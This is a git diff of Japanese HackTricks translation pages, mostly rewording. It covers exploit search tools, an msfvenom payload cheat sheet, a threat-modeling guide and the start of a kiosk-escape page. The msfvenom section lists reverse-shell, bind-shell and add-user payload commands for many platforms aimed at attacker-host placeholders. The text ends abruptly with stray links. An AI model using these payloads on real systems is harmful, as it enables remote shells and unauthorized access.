[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスを取得: +今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -26,11 +26,11 @@ HackTricks をサポートする他の方法: 常に "google" や他の検索エンジンで検索してください: **\ \[version] exploit** -また、[https://exploits.shodan.io/](https://exploits.shodan.io)の**shodan exploit search**を試してみてください。 +また、[https://exploits.shodan.io/](https://exploits.shodan.io)の **shodan** **exploit search** も試してみてください。 ### Searchsploit -**コンソールからexploitdbのサービスの脆弱性を検索**するために便利です。 +**exploitdbからコンソールでサービスの脆弱性を検索**するために便利です。 ```bash #Searchsploit tricks searchsploit "linux Kernel" #Example @@ -42,7 +42,7 @@ searchsploit --nmap file.xml #Search vulns inside an nmap xml result ``` ### Pompem -[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem)は、脆弱性を検索するための別のツールです。 +[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) は、エクスプロイトを検索するための別のツールです。 ### MSF-Search ```bash @@ -60,7 +60,7 @@ vulners データベースでも検索できます: [https://vulners.com/](https これは他のデータベースで脆弱性を検索します: [https://sploitus.com/](https://sploitus.com) - + \ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** してください。\ @@ -74,10 +74,10 @@ vulners データベースでも検索できます: [https://vulners.com/](https HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* **HackTricks で企業を宣伝** したい場合や **HackTricks をPDFでダウンロード** したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * [**公式PEASS & HackTricksのグッズ**](https://peass.creator-spring.com) を入手してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください -* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローしてください。 -* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) の github リポジトリに PR を提出することで、あなたのハッキングトリックを共有してください。 +* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローしてください +* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングトリックを共有してください diff --git a/generic-methodologies-and-resources/shells/msfvenom.md b/generic-methodologies-and-resources/shells/msfvenom.md index d4bb47bd2..397ee34e3 100644 --- a/generic-methodologies-and-resources/shells/msfvenom.md +++ b/generic-methodologies-and-resources/shells/msfvenom.md @@ -6,36 +6,36 @@ HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加し、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**してください。** -* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする +* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに PR を提出して、あなたのハッキングトリックを共有してください。 - + -経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう! +経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加しましょう! **ハッキングの洞察**\ -ハッキングのスリルと挑戦に深く入り込むコンテンツに参加する +ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する **リアルタイムハックニュース**\ -リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく +リアルタイムのニュースと洞察を通じて、ハッキングの世界のペースに遅れずについていく **最新のアナウンス**\ -最新のバグバウンティの開始や重要なプラットフォームのアップデートについての情報を入手する +最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を入手する -**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう! +**[Discord](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!** *** -## 基本的なmsfvenom +## 基本的な msfvenom `msfvenom -p -e -f -i LHOST=` -アーキテクチャを指定するために`-a`を使用することもできます、または`--platform`を使用します +`-a` を使用してアーキテクチャを指定するか、`--platform` を使用することもできます ## リスト化 ```bash @@ -72,6 +72,8 @@ msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f ```bash msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe ``` +{% endcode %} + ### CMD シェル {% code overflow="wrap" %} @@ -99,20 +101,28 @@ msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > enco ```bash msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe ``` -## Linux Payloads +{% endcode %} + +## Linux ペイロード ### リバースシェル + +{% code overflow="wrap" %} ```bash msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf ``` +{% endcode %} + ### バインドシェル {% code overflow="wrap" %} ```bash msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf ``` -### SunOS (Solaris) +{% endcode %} + +### SunOS(Solaris) {% code overflow="wrap" %} ```bash @@ -126,19 +136,21 @@ msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTAC ```bash msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho ``` +{% endcode %} + ### **バインドシェル** {% code overflow="wrap" %} ```bash msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho ``` +{% endcode %} + ## **Webベースのペイロード** ### **PHP** #### 逆シェル - -{% code overflow="wrap" %} ```bash msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php @@ -168,7 +180,7 @@ msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f w ```bash msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) ``` -## **スクリプト言語のペイロード** +## **スクリプト言語ペイロード** ### **Perl** @@ -184,6 +196,8 @@ msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > ```bash msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py ``` +{% endcode %} + ### **Bash** {% code overflow="wrap" %} @@ -192,17 +206,17 @@ msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f ``` {% endcode %} - + [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! -**ハッキングの洞察**\ -ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう +**ハッキングの洞察力**\ +ハッキングのスリルとチャレンジに深く入り込むコンテンツと関わりましょう **リアルタイムハックニュース**\ -リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかけましょう +リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態で把握しましょう -**最新のアナウンスメント**\ +**最新のお知らせ**\ 最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう **[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力しましょう! @@ -213,10 +227,10 @@ msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする -* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com) を手に入れましょう +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけましょう +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローしましょう +* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有しましょう diff --git a/generic-methodologies-and-resources/threat-modeling.md b/generic-methodologies-and-resources/threat-modeling.md index daca640c9..dd0d47a7f 100644 --- a/generic-methodologies-and-resources/threat-modeling.md +++ b/generic-methodologies-and-resources/threat-modeling.md @@ -2,21 +2,21 @@ ### [WhiteIntel](https://whiteintel.io) - + -[**WhiteIntel**](https://whiteintel.io)は**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されたかどうかをチェックする**無料**の機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io)は**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難型マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 +WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 彼らのウェブサイトをチェックし、エンジンを**無料**で試すことができます: {% embed url="https://whiteintel.io" %} ---- +*** ## 脅威モデリング -サイバーセキュリティの重要な側面である脅威モデリングに関するHackTricksの包括的なガイドへようこそ!ここでは、システム内の潜在的な脆弱性を特定し、理解し、対策を立てるための探求が行われます。このスレッドは、実践的な例、役立つソフトウェア、理解しやすい説明が詰まった段階的なガイドとして、初心者から経験豊富な実践者まで、サイバーセキュリティの防御を強化することを目指しています。 +脅威モデリングに関するHackTricksの包括的なガイドへようこそ!サイバーセキュリティの重要な側面である脅威モデリングについて、システム内の潜在的な脆弱性を特定し、理解し、戦略を立てる探求を始めましょう。このスレッドは、実践的な例、役立つソフトウェア、わかりやすい説明が詰まったステップバイステップのガイドとして、セキュリティの防御を強化したい初心者や経験豊富な実務家に最適です。 ### よく使用されるシナリオ @@ -25,30 +25,30 @@ WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウ ### 脅威モデルの要点 -脅威モデルは、通常、アプリケーションの計画されたアーキテクチャや既存の構築を示す図、画像、または他の視覚的な表現として表されます。これは**データフローダイアグラム**に似ていますが、そのセキュリティ指向の設計において異なる点があります。 +脅威モデルは通常、アプリケーションの計画されたアーキテクチャや既存の構築を示す図表、画像、または他の視覚的な表現として表されます。これは**データフローダイアグラム**に似ていますが、そのセキュリティ指向の設計において異なる点があります。 -脅威モデルには、潜在的な脆弱性、リスク、または障壁を示す赤でマークされた要素がしばしば含まれます。リスクの特定プロセスを効率化するために、CIA(機密性、整合性、可用性)トライアドが使用され、多くの脅威モデリング手法の基礎となっており、STRIDEが最も一般的な手法の1つです。ただし、選択される手法は、特定の文脈や要件に応じて異なる場合があります。 +脅威モデルには、潜在的な脆弱性、リスク、または障壁を示す赤でマークされた要素がしばしば含まれます。リスクの特定プロセスを効率化するために、CIA(機密性、整合性、可用性)トライアドが使用され、STRIDEが最も一般的なものの1つです。ただし、選択される方法論は、特定の文脈や要件に応じて異なる場合があります。 ### CIAトライアド -CIAトライアドは、情報セキュリティ分野で広く認識されており、機密性、整合性、可用性を表しています。これらの3つの柱は、脅威モデリング手法を含む多くのセキュリティ対策やポリシーの基盤を形成しており、それぞれの脅威モデリング手法にも適用されています。 +CIAトライアドは、情報セキュリティ分野で広く認識されており、機密性、整合性、可用性を表しています。これらの3つの柱は、脅威モデリング方法論を含む多くのセキュリティ対策やポリシーの基盤を形成しており、それぞれの脅威モデリング方法論の基礎となっています。 1. **機密性**:データやシステムが不正な個人によってアクセスされないようにすること。これはセキュリティの中心的な側面であり、データ漏洩を防ぐために適切なアクセス制御、暗号化、およびその他の対策が必要です。 -2. **整合性**:データの正確性、一貫性、信頼性をデータのライフサイクル全体で確保すること。この原則は、データが不正な者によって変更されたり改ざんされたりしないようにすることを保証します。これには、チェックサム、ハッシュ、および他のデータ検証方法がしばしば含まれます。 -3. **可用性**:データやサービスが必要な時に認証されたユーザーにアクセス可能であることを保証すること。これには、冗長性、障害耐性、および高可用性構成が含まれ、システムが障害に直面しても稼働し続けるようにします。 +2. **整合性**:データの正確性、一貫性、信頼性をデータのライフサイクル全体で確保すること。この原則は、データが不正な者によって変更されたり改ざんされたりしないようにします。これには、チェックサム、ハッシュ、およびその他のデータ検証方法がしばしば含まれます。 +3. **可用性**:データとサービスが必要な時に認証されたユーザーにアクセス可能であることを確保すること。これには、システムが障害に直面しても稼働し続けるようにするための冗長性、障害耐性、高可用性構成がしばしば含まれます。 -### 脅威モデリング手法 +### 脅威モデリング方法論 -1. **STRIDE**:Microsoftによって開発されたSTRIDEは、**スプーフィング、改ざん、否認、情報開示、サービス妨害、特権昇格**を表す頭字語です。各カテゴリは脅威のタイプを表し、この手法は潜在的な脅威を特定するためにプログラムやシステムの設計段階で一般的に使用されます。 -2. **DREAD**:Microsoftの別の手法で、特定された脅威のリスク評価に使用されます。DREADは**損害の可能性、再現性、悪用可能性、影響を受けるユーザー、発見可能性**を表しています。これらの要素はスコア付けされ、その結果は特定された脅威の優先順位付けに使用されます。 -3. **PASTA**(攻撃シミュレーションと脅威分析のプロセス):これは7つのステップからなる**リスク中心**の手法です。セキュリティ目標の定義と特定、技術的範囲の作成、アプリケーションの分解、脅威分析、脆弱性分析、リスク/トリアージ評価が含まれます。 -4. **Trike**:これは資産の防御に焦点を当てたリスクベースの手法です。リスク管理の観点から始まり、その文脈で脅威や脆弱性を見ます。 -5. **VAST**(ビジュアル、アジャイル、シンプル脅威モデリング):このアプローチは、アジャイル開発環境に統合されやすく、アクセスしやすいことを目指しています。他の手法から要素を組み合わせ、**脅威の視覚的表現**に焦点を当てています。 +1. **STRIDE**:Microsoftによって開発されたSTRIDEは、**スプーフィング、改ざん、否認、情報開示、サービス妨害、特権昇格**を表す頭字語です。各カテゴリは脅威のタイプを表し、この方法論は潜在的な脅威を特定するためにプログラムやシステムの設計段階で一般的に使用されます。 +2. **DREAD**:これはMicrosoftの別の方法論で、特定された脅威のリスク評価に使用されます。DREADは**損害の可能性、再現性、悪用可能性、影響を受けるユーザー、発見可能性**を表しています。これらの要素はスコア付けされ、その結果は特定された脅威の優先順位付けに使用されます。 +3. **PASTA**(攻撃シミュレーションおよび脅威分析プロセス):これは7つのステップからなる**リスク中心**の方法論です。セキュリティ目標の定義と特定、技術的範囲の作成、アプリケーション分解、脅威分析、脆弱性分析、リスク/トリアージ評価を含みます。 +4. **Trike**:これは資産の防御に焦点を当てたリスクベースの方法論です。リスク管理の観点から始まり、その文脈で脅威と脆弱性を考えます。 +5. **VAST**(ビジュアル、アジャイル、シンプル脅威モデリング):このアプローチは、アジャイル開発環境に統合されやすく、アクセスしやすいことを目指しています。他の方法論から要素を組み合わせ、**脅威の視覚的表現**に焦点を当てています。 6. **OCTAVE**(運用上重要な脅威、資産、脆弱性評価):CERT Coordination Centerによって開発されたこのフレームワークは、**特定のシステムやソフトウェアではなく組織のリスク評価**に向けられています。 ## ツール -脅威モデルの作成と管理を**支援**するために利用可能ないくつかのツールやソフトウェアソリューションがあります。以下は、検討する価値のあるいくつかのツールです。 +脅威モデルの作成と管理を**支援**するために利用可能ないくつかのツールやソフトウェアソリューションがあります。以下は、検討する価値のあるいくつかのものです。 ### [SpiderSuite](https://github.com/3nock/SpiderSuite) @@ -66,7 +66,7 @@ CIAトライアドは、情報セキュリティ分野で広く認識されて ### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases) -OWASPのオープンソースプロジェクトであるThreat Dragonは、システム図作成と脅威/緩和策の自動生成を含むWebおよびデスクトップアプリケーションです。 +OWASPのオープンソースプロジェクトであるThreat Dragonは、システムダイアグラム作成と脅威/緩和の自動生成のためのルールエンジンを含むWebおよびデスクトップアプリケーションです。 **使用方法** @@ -110,7 +110,7 @@ SpiderSuite Crawlerなどのツールを使用して、基本的なモデルは -アクター脅威とプロセス脅威の違いに注意してください。アクターに脅威を追加する場合は、「スプーフィング」と「否認」のみを選択できます。ただし、この例ではプロセスエンティティに脅威を追加するため、脅威作成ボックスに次のように表示されます: +アクター脅威とプロセス脅威の違いに注意してください。アクターに脅威を追加すると、「スプーフィング」と「否認」のみを選択できます。ただし、この例ではプロセスエンティティに脅威を追加するため、脅威作成ボックスには次のように表示されます: @@ -121,14 +121,13 @@ SpiderSuite Crawlerなどのツールを使用して、基本的なモデルは ### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool) -これはMicrosoftからの無料ツールで、ソフトウェアプロジェクトの設計フェーズで脅威を見つけるのに役立ちます。STRIDEメソッドを使用し、特にMicrosoftのスタックで開発している人に適しています。 - +これはMicrosoftからの無料ツールで、ソフトウェアプロジェクトの設計フェーズで脅威を見つけるのに役立ちます。STRIDEメソドロジーを使用し、特にMicrosoftのスタックで開発している人に適しています。 ### [WhiteIntel](https://whiteintel.io) - + -[**WhiteIntel**](https://whiteintel.io)は**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io)は**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックするための**無料**機能を提供しています。 WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 diff --git a/hardware-physical-access/escaping-from-gui-applications.md b/hardware-physical-access/escaping-from-gui-applications.md index 543a5d3aa..a651acc5b 100644 --- a/hardware-physical-access/escaping-from-gui-applications.md +++ b/hardware-physical-access/escaping-from-gui-applications.md @@ -1,75 +1,75 @@ +# KIOSKからの脱出 + -htARTE(HackTricks AWS Red Team Expert)を使って、
https://www.youtube.com/watch?v=UwMt0e_dC_Q
https://www.scs.stanford.edu/brop/bittau-brop.pdf